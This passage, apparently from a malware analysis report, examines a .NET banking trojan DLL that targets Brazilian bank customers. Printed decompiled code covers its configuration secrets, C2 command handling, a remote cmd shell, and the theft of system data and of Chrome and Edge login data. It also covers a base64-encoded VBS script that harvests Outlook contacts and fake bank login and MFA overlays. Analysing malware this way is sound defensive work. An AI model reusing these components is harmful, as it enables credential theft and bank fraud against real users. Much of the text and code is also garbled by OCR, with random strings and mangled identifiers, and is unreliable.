{} PICRINOGVGOURXQDDSIn
{} tjNMnqyJBjNIIMnPDJsHHQV
{} tmdGkEuyoZgttdkuC)
{} tPWHeucJKGNZuxEOYKNf
{} UNNIgYLpspgFKJhDIGY
{} VIxoixTUGtrYsMIzIMHO
{} VYKiFKTFEKjHWZszN)flb
{} WCFBQfORHKsVWcIDuXbmE
{} WLAAfDVoAdcVDoHWFickn
{} xNaYfGfGioPILHdRITgYx
{} YbByuFBAvefugebZV

+ %%, ZhoursGmfKLOFxrk< <MAQUINA>j |

4 {} _
b 9 decoyClassGrabage @02000001
b T, jsonThreeVarstruct<<MAQUINA>j_ TPar,
b 4g parameters @02000030
b o% readOnlyStaticVar @02000010
3 0!3 actionsBasedOnPacketType @0200007F
D =0 |Packet @02000077
b {} connectionActivities
P {} connectionManipulation
b {} cryptoFunctions
b {} defineStructures
drawStuff
editorAdditionalModules
generalUtilities
GUIActivitiesManager
imagesAsMemoryStream
main
MaliciousAndLegitActivities
maybeNotSoUseful
networkingActivities
persistence
serializationStuff
serializedDataReceivedFromC2
serializedDataToSendToC2
setandRemoveHook
shareMalwareActivityAndManagePanels
someGUIElem
structDefinitions
variousActivity
windowsAndHooks

b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}
b{}

Figure 17: Comparison of namespaces before and after the refactoring of decompiled

.NET code.

The parameters class should be considered one of the initial elements for analysis
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to extract valuable information about this library. Within this class, several distinct
strings are embedded, which may serve as potential Indicators of Compromise (IoCs) or
variables relevant to reverse engineering. Notably, the most interesting strings include
the following:

e public static string VERSION = 71.0.00.r6”;

e public static string PASSWORD = "5EPmsqV4iTCGjx9aY3yYpBWDOIgEJpHNEP
75pks”;

e public static string INSTALLNAME = "INSTALL”;

e public static string MUTEX = ”edd6abec-320d-48ee-b6b2-fa24f03760d4”;
e public static string STARTUPKEY = "STARTUP”;

e public static bool HIDEFILE = true;

e public static bool ENABLELOGGER = true;

e public static string ENCRYPTIONKEY = "O2CCRIKB5V3AWIrHVKWMrr1 GvK
qVxXWdex010s6L8fB2mavMqr”;

Based on this evidence, it can be hypothesized that the threat establishes a remote
channel with a reconnection delay of 5000 ms. Additionally, it utilizes the registry for
persistence, writes a mutexr as a compromising signature into the system, hides itself as
a concealed file, logs its operations, and encrypts data (Fig. 18).

// Token: @xe4000139 RID: 313
public static string VERSION = "1.8.80.r6";

// Token: @x0400013A RID: 314
public static int RECONNECTDELAY = 5800;

// Token: @xe400013B RID: 315
public static string PASSWORD = "SEPmsqV4iTCGjx9aY3yYpBWDOIgEIpHNEP7Spks";

// Token: ©x0400013C RID: 316
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData

// Token: @x0460013D RID: 317
public static string DIR = Environment.GetFolderPath(parameters.SPECIALFOLDER);

// Token: @x@400013E RID: 318
public static string SUBFOLDER = “SUB";

// Token: ©x0400013F RID: 319
public static string INSTALLNAME = "INSTALL";

// Token: ©0xe400014@ RID: 320
public static bool INSTALL = false;

// Token: ©xe4000141 RID: 321
public static bool STARTUP = true;

// Token: @x04000142 RID: 322
public static string MUTEX = "edd6abec-320d-48ee-b6b2-fa2afe376eda”;

// Token: ©x04000143 RID: 323
public static string STARTUPKEY = "STARTUP";

// Token: 0x04080144 RID: 324
public static bool HIDEFILE = true;

// Token: @x04000145 RID: 325
public static bool EMABLELOGGER = true;

// Token: exe4000146 RID: 326
public static string ENCRYPTIONKEY = "02CCRIKBSV3AWlrHVKWMrriGvKqvxXWdcx@leseLsfB2mavMgr";

// Token: exe4e00147 RID: 327
public static string TAG = "RELEASE";

Figure 18: Useful parameters set at the beginning of vstdlib_s64.dll.
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Within the same unnamed namespace, another notable class for analysis is actions-
BasedOnPacketType. This enables the execution of various malicious activities depending
on the type of serialized data received from the Cé/C' Server. Initially, the code performs
an authentication check (Fig. 19). This authentication process involves verifying whether
a basic set of asset information has already been exfiltrated (Fig. 20). If the code deter-
mines that authentication has not yet occurred, it will exfiltrate the necessary data and
set the authentication variable to true.

public static void HandlePacket{networkingPrimitives client, IPacket packet)
{

Type type = packet.GetType();

if (lpersistenceInformationSet.IsAuthenticated)

if (type == typeof(global::serializedDataReceivedFromC2.stub))

sendMalwareActivityPerfomedLogs. sendComputerInfoandPersistencelogs((global: :serializedDataReceivedFromC2.stub)packet, client);
return;

}
if (type == typeof(global::serializedDataReceivedFromC2.stub))
{

persistenceInformationSet.IsAuthenticated = true;

¥
return;

4

Figure 19: Authentication mechanism based on exfiltration on basic asset’s data.

public static class sendMalwareActivityPerfeomedLogs
{
// Token: 8x@6e@3983 RID: 14595
public static void sendComputerInfoAndPersistencelogs(global::serializedDataReceivedFromC2.stub command, networkingPrimitives
client)
{
new computerInfo(parameters.VERSION, findWindowsVersion.FullName, findUserStatus.GetAccountType(),
sendMalwareActivityPerfomedLogs.createDatalog(), "$", findGeoIPInformation.GeoInfo.region,
findGeoIPInformation.GeoInfo.city, alotOfMaliciousStuff.bandeiraCasa, getSystemAdditionalInfo.Hardwareld,
findUserStatus.GetName(), systemRecon.getMachineName(), sendMalwareActivityPerfomedlLogs.createleituralog()).Execute
(client);
if (persistencelInformationSet.AddToStartupFailed)
{
Thread.Sleep(2e08);
new stringMessage("Adding to startup failed.").Execute(client);

Figure 20: Set of stolen information to be shared with the C&C Server.

Given that this method was entirely focused on serialized classes, a thorough exam-
ination of these was conducted. This investigation revealed that the code defines two
distinct namespaces containing serializable classes (Fig. 21). The first panel illustrates
all the serialized data that the threat receives from the C2 Server, providing insights
into the class definitions. Among these, some classes are labeled as stub, a designation
used for serialized classes that offer no meaningful information (Fig. 22). Conversely, the
remaining serialized classes are responsible for exfiltrating information to the Command
& Control Server.
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4 {} serializedDataReceivedFromC2
> 42 bank @02000052
> %2 command @02000058
b %g computerstatus @02000058
P 4g currentBlock @02000061
> % downloadURL @02000056
b g fileOrFolder @0200005D
4 013 getFileNameBlockRunHidden @02000044
b % getNamePathType @0200005E
> % id @0200005F
b 0:3 messageBoxData @02000051
b 01,‘,? monitorAndPosition @02000055
b %g monitorAndQuality @02000046
b %3 mouselnfo @0200004D

b% netPrimitives @02000043 4 {} serializedDataToSendToC2

b newPath @02000059 D 0[8 b Bl k 02000071

b 9 pathsinformation @0200005A aseBlock @

»% bld ©02000048 P 43 browserCredentials @02000072
b pressingKeys @0200004E

D% processMame @02000049 E % comput';a[rl n‘io@(%gggggg?

P 42 grcode @02000054 currentsloc

b 48 remotePath @02000048 b 4g driveAndRootDir @0200006A
b% remotePathAndid @0200004C b 0[3 filesFolderAndFilesize @0200006B
b rfid @02000053 lnesrolaerAndrilesize

b 98 stub ®02000040 b 42 lastDirectorySeen @02000066
>4 stub @02000062 b 0[3 .

bG8 stub @0200005C monitorinfo @02000068

:013 stub @02000063 > 42 number @0200006E

D% SOOI b 43 outputDebug @0200006F

b %2 stub @0200004F p 0[3 processes @02000069

:% ::3‘; gﬁiﬁﬁﬁﬂl b Ag startUpltems @02000070

»% stub @02000060 b 4g stringMessage @02000065

P 4 stub @0200004A

b 4g urlAndHidden @02000050 b Org systeminfo @0200006D

b %% wANDRunHidden @02000044 b A2 userState @02000067

Figure 21: Serializable classes divided by their usage.

public static void send-Pr'ccessInfc(global::serializedDataReceivedFromCZ.stub command, networkingPrimitives client

Process[] processes = Process.GetProcesses();
string[] array = new string[processes,lLength];
int[] array2 = new int[processes.length];
string[] array3 = new string[processes.Length];
H int num = 8;

foreach (Process process in processes)

{
: array[num] = process.Processiame + “.exe";
array2[num] = process.Id;

: array3[num] = process.MainkindowTitle;

E num++;
b

new processes{array, array2, array3).Execute(client);

Figure 22: An example of the structure of a stub serializable class.

Despite being organized under two different namespaces, all the classes share a com-
mon method named Frxecute. This similarity is evident when comparing Fig. 22, which
depicts a class from serializedDataReceivedFromC2 (Fig. 23), which shows a class from
sertalizedDataToSendToC2. Notably, within the provided code, references to the Execute
method were found only in the context of the second namespace, suggesting that its use
may be specific to this namespace. This design choice grants the Threat Actor increased
flexibility in refactoring the code, as it allows for the movement of different serializable
classes between these namespaces without altering the fundamental method structure.
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public processes(string[] processes, int[] ids, string[] titles)

{

i this.Processes = processes;
this.IDs = ids;

¢ this.Titles = titles;

*

public void Execute(networkingPrimitives client)

{
client.Send<processes>(this);

T

// Token: ©x@6003A90 RID: 14992 RVA: ©x000036AB File Offset: ©x80001AAB

Figure 23: Serializable class processes.

As briefly discussed previously (Fig. 24), HandlePacket method can perform a wide
set of different actions, just as:

Reconnect or do not reconnect to server;

Uninstall from persistence while getting, setting and deleting elements from startup

registry entries;

Exfil monitor settings;

Exfil processes (Fig. 25);

Exfil external drive info;

Kill process by PID (Fig. 26);

Start a process (Fig. 27);

Exfil additional asset information (Fig. 28);
Interact with input devices;

Show Message Box with custom text;

Show MFA Form,;

Show authentication QR Codes forms;

Basing on an additional embedded parameter, named RFID, additional malicious

activities can be performed:

Deleting Video folder (Fig. 29);
— Save log files (Fig. 30);
— Adapt behavior to different Windows versions (Fig. 30);

— Exfil information on installed browsers and stored credentials (Fig. 31);

— Steal Outlook contacts and exfiltrate them (Fig. 32 and Fig. 33).
— Keylogging

Execute shell commands (Fig. 34 and Fig. 35);

August 24, 2024



Malware Analysis Report

20

Rename files and directories;

Shutdown and Reboot the system;

Cancel downloads;

Get, Add and Remove AutoStart items;

Exfil Log files, browsers’ and bank credentials;

Connect to Reverse proxies.

if (type == typeof(messageBoxData))
{

sendMalwareActivityPerfomedLogs . showMessageBox ((messageBoxData)packet, client);
' return;
¥
if (type == typeof(bank))
{
sendMalwareActivityPerfomedLogs.clientFinding((bank)packet, client);
return;

¥
if (type == typeof(qrcode))
{

sendMalwareActivityPerfomedLogs.mfaAndQRCodePanel((qrcode)packet, client);
return;

¥

if (type == typeof(monitorAndPosition))

{

sendMalwareActivityPerfomedLogs.loginPanel((monitorAndPosition)packet, client);
' return;
¥
if (type == typeof(rfid))
{
sendMalwareActivityPerfomedlLogs.performDIfferentActionsBasedonRFID((rfid)packet, client);
return;

}

Figure 24: Snippet of the function HandlePacket of actionsBasedOnPacketType class.

L

public static void sendProcessInfo(global::serializedDataReceivedFromC2.stub command, networkingPrimitives client)

Process[] processes = Process.GetProcesses();
string[] array = new string[processes.Length];
int[] array2 = new int[processes.Length];
string[] array3 = new string[processes.length];
int num = @;

foreach (Process process in processes)

{

array[num] = process.Processiame + “.exe";

array2[num] = process.Id;
array3[num] = process.MainllindowTitle;
num++;

I

ew processes(array, array2, array3).Execute(client);

Figure 25: Function used to gather Processes information.

¢

public static veid killProcessByPID(pid command, networkingPrimitives client)

try
{
; Process.GetProcessById(command.PID).Kill();
¥
catch
{
b
finally
t
sendMalwareActivityPerfomedLogs. sendProcessInfo(new global::serializedDataReceivedFromC2.stub(}), client);
¥

Figure 26: Function used to kill a process given its PID.
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public static void startProcess(processName command, networkingPrimitives client)

{

. if (string.IsNullOrEmpty(command.Processname})

i {

E | new stringMessage("Process could not be started!").Execute(client);
L peturn;

: H

L try

o

' ! Process.Start(new ProcessStartInfo

' {

! 1 UseShellExecute = true,

: : FileName = command.Processname

] ' 1);

: H

' catch

o

' ’ new stringMessage("Process could not be started!").Execute(client);
i H

© fipally

] {

' i sendMalwareActivityPerfomedLogs.sendProcessInfo(new global::serializedDataReceivedFromC2.stub(), client);
: H

b

Figure 27: Function used to start a new process

public static void sendBasicData(global::serializedDataReceivedFromC2.stub command, networkingPrimitives client
{
. try

poA

! ! new systemInfo(new string[]

: : . "“Processor (CPU)",

i : | getSystemAdditionallnfo.getProcessor(),

' L1 "Memory (RAM)",

; : : string.Format("{@} MB", getSystemAdditionalInfo.getMemoryDim()),

; ; 5 “video Card (GPU)",

: i . getSystemAdditionalInfo.getDisplayConfig(),

E E E "Username",

: ¢ findUserStatus.GetName(),

. "PC Name",

. . . systemRecon.getMachineName(),

. . "Uptime",

! i E systemRecon.get05(),

¢t "MAC Address”,

: : : getSystemAdditionalInfo.getNetworkInterfaceMAC(),

i ¢+ "LAN IP Address",

i i i getSystemAdditionalInfo.getNetworkInterfaceIP(),
"WAN IP Address",
findGeoIPInformation.GeoInfo.ip,

: : : "Antivirus”,

: © | systemRecon.getAV(),

"Firewall",

¢+ systemRecon.getFu()

| i 1) .Execute(client);

}

catch

{
¥

Figure 28: Additional basic information stolen and sent to CéC.
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Figure 29: RFID value 7 creates a deleteFiles.bat file to delete Videos folder.

Figure 30: RFID values 8 and 9 allow to write log files and vary its behavior.

if (rfid == 7)
{
. string text2 = "C:\\Users\\Public\\Videos";

string text3 = Path.Combine(text2, "deleteFiles.bat");

using (StreamWriter streamWriter = new StreamWriter(text3))

{

'\ streamWriter.Writeline("@echo off");
streamWriter.WriteLine("timeout /t 1@ /nobreak > NUL™);
streamWriter.Writeline("del /q /f \"" + text2 + "\\*.#¥\"");

. . streamWriter.WritelLine("rmdir /q /s \"" + text2 + "\"");
! . streamWriter.WriteLine("del \"%~fo\"");

Ll

! Process.Start(new ProcessStartInfo

' {

. FileName = "cmd.exe",

Arguments = "/c start /b \"\" \"" + text3 + "\"",
UseShellExecute = false,
CreateNoWindow = true,

; . WorkingDirectory = text2

! 1)

; Environment.Exit(e);

s

if (rfid == 8)

{

' string text4 = Path.Combine(AppDomain.CurrentDomain,BaseDirectory, "leitura.log");
if (File.Exists(text4))

{
| File.Delete(text4);
¥
using (StreamWriter streamWriter2 = File.CreateText(text4))
{
: streamWriter2.WriteLine(texto);
goto IL_46B;
¥
1
if (rfid == 9)
{
© if (command.TEXTO == "WIN7")
{
: bitmapManipulationOnScreen.capt = 1;
¥
if (command.TEXTO == "WIN1@")
{
bitmapManipulationOnScreen.capt = @;
}
b

try
€

3

)

public static string ExtractDados()
1

string texts;

StringBuilder stringBuilder = new StringBuilder("<Navegadores>");

string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\
\User Data\\default\\Login Data");

string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\
\User Data\\Local State");

stringBuilder.Append(stealBrowserCreds.ExtractPasswords("Chrome”, text, text2));

string text3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\|
\User Data\\Default\\Login Data");

string text4 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\|
\User Data\\Local State");

stringBuilder.Append(stealBrowserCreds.ExtractPasswords("Edge”, text3, textd));

text5 = stringBuilder.ToString();

¥
catch (Exception)

text5 = "<Navegadores>Error in main process”;

return texts;

Figure 31: RFID value 11, information on installed browsers and stored credentials.
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Figure 32: RFID value 12 allows to decode a Base6/ text into filedados.vbs

to

else if (rfid == 12)

byte[] array = Convert.FromBase64string
("Q29uc3QgRmoyV3IpdGluZyA9IDIKCINLACBmeyA9IFdTY3IpeHQUQ3I1YXR1T21qZWNEKCITY3IpcHRpbmeuRmLsZVNSc 3R 1bUS|
iamVjdCIpCIN1dCBvImlsZSASIGZ zLkIWZWSUZXhBRmM1sZSgiQzpcVXN1enNcUHVibG1XERVY3VEZWSOCc1xjb258YXRvcySc3Yi]
LCBGb3IXeml@awsnLCBUenV1KSANIFRydWUgCGFyYSBiemlhe iBVIGFycXVpdmBge 2Ugbs0jbyBleGlzdGlyCgpTZXQgb2wgPSEXU
2NyaXBeLkNyZWFeZU9iamVjdCgiT3VebGovaySBcHBsaWNhdGlvbiIpCIN1dCBteUShbWVTcGFJZSA91GIsLkd1dEShbWVTcGF 2!
giTUFQSSIpCgpTZXQgbX1Db258YWNBcOZvbGR1cIAIIGLSTMFtZVNWYWNLLkd1dER1ZmF1bHRGb2XKZXIoMTAPICcgMTAgwEkgby
2YWxvciBwYXIhIGEgcGF zdGEgZGUEQ29udGFeb3MKU2VeIG155XR1bXMgPSBteUNvbnRhY3RZRmISZGVyLk18ZW1zCgonIEVZY3]]
dmVyIG8gY2FiZcOnYWxobyBkbyBDU1YKb2ZpbGUuV3IpdGVMaW51ICI0b211IENVEXBSZXRVLEVLYWLsLFR1bGYmb251IENVbWVYY]
21hbCxUZWx1ZmIuZSBDZWx1bGFyIgoKRm3yIEVhY2ggaXR1bSBIbiBteUloZW1zCiAgICBIZiBpdGVELkNsYXNzID@gNDAgVGh1bil
ANnIDQWIMOPIGBgdmFsb3IgeGFyYSBpdGVucyBkZSBjb250YXRVCiAgICAZICAgRG1tIGZ1bGXOYI11LCB1bWFpbCgYnVzal51le3N
QaGouZSwgbW9iakx1UGhvbmUKICAEICAgICBmdWxXs TmFtZSA9IGLOZWOURNYSbEShbWUKICAGICAGICB1bWFpbCASIG1OZWOURWIN
aliwxQWRkemVzewogICAgICAgIGI1c21uZXNzUGhvbmUgPSBpdGVtLkI1c2luZXNZVGVsZXBob251TnVtYmVyCiAgICAgICAgbWOial
Wx1UGhvbmUgPSBpdGVEtLK1vYmlsZVR1bGVWaGIUZUS1bWI1lcgoKICAGICAgICANIFNLYnN@aXR1aXIgdmFsb3J1cyBudWxvcyBwb3)
Igc3RyaWSncyB2YXppYXMKICARICAGICBIZiBIc@51bGwoZnVsbEShbWUpIFROZWAgZNVsbEShbWUgPSALIgogICARICAgIEImIEL
2TnVsbCh1bWFpbCkgVGhlbiBlbWFpbCASICIiCiAgICAGICAGSWYgSXNOdWxsKGI1c21uZXNzUGhvbmUpIFROZWAGYNWzalW51c3NQ
aGIUZSASICIiCiAgICAgICARSWYESXNOdWxSKG1vYmlsZVBob251KSBUaGVUIG1vYmlsZVBob251ID@gIiIKCiAgICAgICAgIYBFC
2NyZXZ1ciBsalSoYSBubyBDULYKICAEICAGICBYZm1SZSSXemlOZUxpbmUgIiTiTiAmIGZ1bGX0OYWILICYgIiTiLCTIiTiAMIGVEYW
1sICYGIiTiLCIiTiAmIGI1c21uZXNzUGhvbmUgliAiTiIsIiTiICYgbWIialx1UGhvbmUgIiAiTiTiCiAgICBFbmQgSWYKTmVadAg
Kb2ZpbGUuQ2xve2UKCIN1dCBYbCASIESvdGhpbmcKU2VBIGOmalWx1I00gTm9@aGluZwpTZXQgZnMgPSBOb3RoalWsnCg==");

string @string = Encoding.UTF8.GetString(array);

string text5 = "C:\\Users\\Public\\Documents\\filedados.vbs";

File.WriteAllText(text5, @string);

Process.Start("wscript.exe”, texts);

Console.WritelLine("Arquive .vbs criado com sucesso em " + text5S);

}
else if (rfid == 13)
i
string texté = Path.Combine("C:\\Users\\Public\\Documents”, DateTime.New.TeString("ddMMyyyy") +
".block");
if (|File.Exists(texté))
{

File.Create(text6).Close();
Consele.WriteLine("Arquive " + texté + " criado.");
+
else
{

Console.WriteLine("Arquive " + texté + " ja existe.");

¥

steal outlook contacts.

which aims

Cons

et
et
Eet
=114
et
et

' Es
ofil

For

ext
nfil
et

et
Set

t Fbrerthg =2

fs = WScript.CreateObject ("Scripting.Files
ofile = fs.OpenTextFile("C:\ i
ol = WScript.CreateObject ("Outl Application™)

myNameSpace = ol.GetNameSpace ("MAPL™)

myContactsFolder = myNameSpace.GetDefaultFolder(10) ' 10 ¢ o valor para a pasta de Contatos
myItems = myContactsFolder.Items

ros.csv", ForWriting, True)

crever o cabecalho do CSV
e.WriteLline "Nome Completo,Email,Telefone Comercial,Telefone Celular"

Each item In myItems

If item.Class = 40 Then ' 40 & o valor para itens de contato
Dim fullName, email, businessPhone, mobilePhone
fullName = item.FullName
email = item.EmaillAddress
businessPhone = item.BusinessTelephoneNumber
mobilePhone = item.MobileTelephoneNumber

' Substituir valores nulos por strings vazias

If IsNull(fullName) Then fullName = "*

If IsNull(email) Then email = ""

If IsNull(businessPhone) Then businessPhone = "
If IsNull(mobilePhone) Then mobilePhone = ""

' Escrever linha no C5V
ofile.WriteLine """" & fullName & """,""" & email & """,""" & businessPhone & """,""" & mobilePhone & """"
End If

a.Close
ol = Nothing

ofile = Nothing
fs = Nothing

True para criar o arquivo 'se ndo existir

Figure 33: Decoded Base64 content of filedados.vbs.
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public static void getCMDToExecute(command command, networkingPrimitives client)
{
' string command2 = command.Command;
f if (sendMalwareActivityPerfomedLogs._shell == null && command2 == "exit")
' {
E return;
¥
' if (sendMalwareActivityPerfomedLogs._shell == null)
: {
f sendMalwareActivityPerfomedLogs._shell = new runCMD();
: ¥
E if (command2 == "exit")
: {
E sendMalwareActivityPerfomedLogs.isSHellNull();
E return;
}
; sendMalwareActivityPerfomedLogs._shell.ExecuteCommand(command2);
t

Figure 34: Function used to run ¢md commands provided by the Cé&C Server.

private void CreateSession()
{
object readLock = this._readlock;
lock (readLock)
1{
this._read = true;
¥
CultureInfo installedUICulture = CultureInfo.InstalledUICulture;
this._prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
StandardOutputEncoding = Enceding.GetEncoding(installedUICulture.TextInfo.0EMCodePage),
StandardErrorEncoding = Encoding.GetEncoding(installedUICulture.TextInfo.0EMCodePage),
CreateNoWindow = true,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder,System)),
Arguments = "/K"
X
¥;
this._prc.Start();
this.RedirectOutputs();
new outputDebug(Environment.NewLine + ">> New Session created" + Environment.MewLine, false).Execute
(aLot0fMaliciousStuff.ConnectClient);

Figure 35: Primitive used as building block to run ¢md commands.

In certain instances, rather than directly handling the data, this threat manipulates it
by segmenting it into blocks (Fig. 36, Fig. 37 and Fig. 38), each with a maximum size of
65’535 bits. This approach is likely employed to evade network detection. For example,
when exfiltrating logs (as illustrated in Figure 34), the threat constructs a corresponding
BlockManager for each file within the Logs folder. This method of data management
aids in obfuscating the exfiltration process and avoiding detection by distributing the
data across multiple smaller segments. The BlockManager functions as a supervisor,
overseeing the segmentation and proper mapping of each data block. For each segment
into which a file is divided, an instance of the baseBlock class is created and initialized
with detailed information about the block. This includes the filename, the block’s byte
data, its index, any operational errors encountered, and the overall length of the file.

bublic baseBlock(string filename, byte[] block, int maxblocks, int currentblock, string custommessage, int index, int filetountm

Figure 36: baseBlock structure
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try

{

[ int num = 1;

: string text = Environment.GetFolderPath{Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
: if (!Directory.Exists(text))

N |

: ] new baseBlock("", new byte[®], -1, -1, "", num, @).Execute(client);

: }

L else

-

; ' FileInfo[] files = new DirectoryInfo(text).GetFiles();

; .\ if (files.lLength == @)

; I ¢

; ' new baseBlock("", new byte[e], -1, -1, "", num, @).Execute(client);
! . |

: C else

Lo

: ' foreach (FileInfo fileInfo in files)

| ' {

; : C blockManager blockManager = new blockManager(fileInfo.FullName);
5 ' i if (blockManager.MaxBlocks < @)

I Cod

: : : new baseBlock("", new byte[®], -1, -1, blockManager.LastError, num, files.Length).Execute{client);
: : .

[ i for (int j = @; j < blockManager.MaxBlocks; Jj++)

: ] Coq

o i1 byte[] array2;

: : : { if (blockManager.ReadBlock(j, out array2))

o A

: : i H new baseBlock(Path.GetFileName(fileInfo.Name), array2, blockManager.MaxBlocks, j,
[ ' : ! blockManager.LastError, num, files.Length).Execute(client);
I A

P P else

P o o

: : : H . new baseBlock("", new byte[8], -1, -1, blockManager.LastError, num, files.lLength).Execute
P {1 (client);

I S T

! : H 3

: ' : nums+;

o }

! L)

. ¥

}

Figure 37: Analysis of the function which creates and exfiltrates logs as blocks.

try
{
if (blockNumber > this.MaxBlocks)
{
throw new ArgumentOutOfRangeException();
}
object fileStreamLock = this._fileStreamLock;
lock (fileStreamLock)
1{
using (FileStream fileStream = File.OpenRead(this.Path))
{
if (blockNumber == @)
{
fileStream.Seek(8L, SeekOrigin.Begin);
long num = fileStream.Length - fileStream.Position;
if (num < @L)
{
throw new IOException("negative length");
¥
readBytes = new byte[this.GetSize({num}];
fileStream.Read(readBytes, 0, readBytes.length);
}
else
i
fileStream.Seek((long) (blockNumber * £5535), SeekOrigin.Begin);
long num2 = fileStream.Length - fileStream.Position;
if (num2 < eL)
{
throw new IOException(“"negative length");
¥
readBytes = new byte[this.GetSize(num2)];
fileStream.Read(readBytes, @, readBytes.lLength);
}
}
}
return true;
}

Figure 38: How a baseManager reads a block.
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All the mechanisms outlined in the previous section are associated with activities
aimed at stealing banking credentials from victims in LATAM. Additionally, the extensive
use of Portuguese/Brazilian comments and strings within the code suggests that the
Threat Actor behind this malicious DLL may originate from Brazil. However, this remains
a hypothesis based on the available evidence. Further analysis then revealed a series of
Windows that are loaded to mimic login forms for various banks (Fig. 39).

shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.

recorte.BtnST_ok.Visible = true;
recorte.BtnST_ok.Location = new Point(983, 515);
recorte.BtnST_ok.Width = 95;
recorte.BtnST_ok.Height = 33;

shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
shareMalwareActivityAndManagePanels.manipulatePanels.
HorizontalAlignment.Center;
shareMalwareActivityAndManagePanels.manipulatePanels.
FontStyle.Regular);
shareMalwareActivityAndManagePanels.manipulatePanels.recorte.Text_passowrsd.ForeColor = Color.Black;
shareMalwareActivityAndManagePanels.manipulatePanels.recorte.panel2.Visible = true;
shareMalwareActivityAndMEEEgePanels.ﬂipipulatgfanels.recnrte.papelZ.BrigsToFront()'

recorte.BtnST_ok.BringToFront();
recorte.Text_passowrsd.Visible = true;
recorte.Text_passowrsd.Location = new Point(582,
recorte.Text_passowrsd.Width = 367;
recorte.Text_passowrsd.Height 20;
recorte.Text_passowrsd.BringToFront();
recorte.Text_passowrsd.PasswordChar =
recorte.Text_passowrsd.MaxLength = 8;
recorte.Text_passowrsd.BorderStyle = BorderStyle.None;
recorte.Text_passowrsd.TextAlign

521);

Tt
.

recorte.Text_passowrsd.Font = new Font("Arial®, 13f,

Figure 39: Snippet of a function used to display login forms.

After entering their credentials, victims are confronted with a multi-factor authenti-
cation (MFA) window tailored specifically to their bank account. The code for each bank
features slightly different implementations to reflect the variations in MFA processes. For
instance, in cases BB6 (Fig. 40) and BBS8 (Fig. 41), the only visible difference is in the
MaxLength parameter of the TEXT_001 input field, which is set to 6 and 8 characters,
respectively.

else if (rfid == "BB&")
i
! shareMalwareActivityAndManagePanels.manipulatePanels.BB_@1 = 1;
shareMalwareActivityAndManagePanels.manipulatePanels.makePanelVisible(false);
Thread.Sleep(1@@);
GUI.RFID = "SENHA DE & BB";
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS.Width = 798;
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS.Height = 598;
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS.StartPosition
FormStartPosition.CenterScreen;
: shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS. FormBorderStyle = FormBorderStyle.None;
H shareMalwareActivityAndManagePanels.manipulatePanels. FORMDADOS. TEXT_001.Width = 171;
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS. TEXT_001.Height = 28;
shareMalwarefctivityAndManagePanels.manipulatePanels.FORMDADOS. TEXT_001.Location = new Point(3e8, 381);
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS . TEXT_001,PasswordChar
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS. TEXT_001.MaxLength = 6;
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS. TEXT_001.BorderStyle
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS. TEXT_001.TextAlign
HorizontalAlignment.Center;
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS. TopMost = true;
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS.TEXT_00L1.Font = new Font("Arial", 13f,
FontStyle.Regular);
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS. TEXT_0O1.ForeColor
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS.001.Visible = true;
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS.001.BringToFront();
shareMalwarefctivityAndManagePanels.manipulatePanels.decodeBase64Image(@base,
shareMalwareActivityAndManagePanels.manipulatePanels. FORMDADOS.PIC_001);
shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS . ShowDialog();
shareMalwareActivityAndManagePanels.manipulatePanels.SetForegroundWindow
(shareMalwareActivityAndManagePanels.manipulatePanels.FORMDADOS . .Handle);

s

BorderStyle.None;

Color.Black;

Figure 40: Snippet of code used to show a fraudulent 6-digit MFA prompt for Banco do
Brazil login.
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if (rfid == "BB8")

: shareMalwareActivityAndManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels.manipulatePanels
Thread.Sleep(108);

GUI.RFID = "SENHA DE 8 BB";
shareMalwareActivityAndManagePanels . manipulatePanels
shareMalwareActivityandManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels.manipulatePanels
FormStartPosition.CenterScreen;
shareMalwareActivityAndManagePanels.manipulatePanels
FormBorderStyle.None;
shareMalwareActivityAndManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels.manipulatePanels
(3e8, 381);
shareMalwareActivityAndManagePanels.manipulatePanels
shareMalwareActivityandManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels.manipulatePanels
Borderstyle.None;
